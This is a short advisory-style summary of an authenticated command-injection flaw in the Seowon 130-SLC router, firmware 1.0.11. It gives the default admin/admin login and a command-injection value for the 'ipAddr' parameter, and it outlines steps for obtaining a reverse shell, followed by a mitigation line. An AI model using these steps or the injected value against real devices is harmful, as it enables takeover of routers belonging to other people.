Seowon 130-SLC router 1.0.11 – ‘ipAddr’ RCE (Authenticated)

The default user/pass is admin/admin and the vulnerability is on the ipAddr parameter in system_log.cgi. To exploit the vulnerability, the attacker needs to login to the dashboard, setup a listener, download the revshell.txt with the RCE, and run the revshell.txt. To get a reverse shell, the attacker needs to setup the listener and download the file on the router then run it. To download, the attacker needs to send a POST request with the CommandDiagnostic, traceModetrace, reportIpOnly0, pingPktSize56, pingTimeout30, pingCount4, ipAddr;id, maxTTLCnt30, queriesCnt3, reportIpOnlyCheckboxon, btnApplyDownload, and T1596644096617 parameters.

Mitigation:

Ensure that the router is running the latest version of the firmware and that all users have strong passwords.
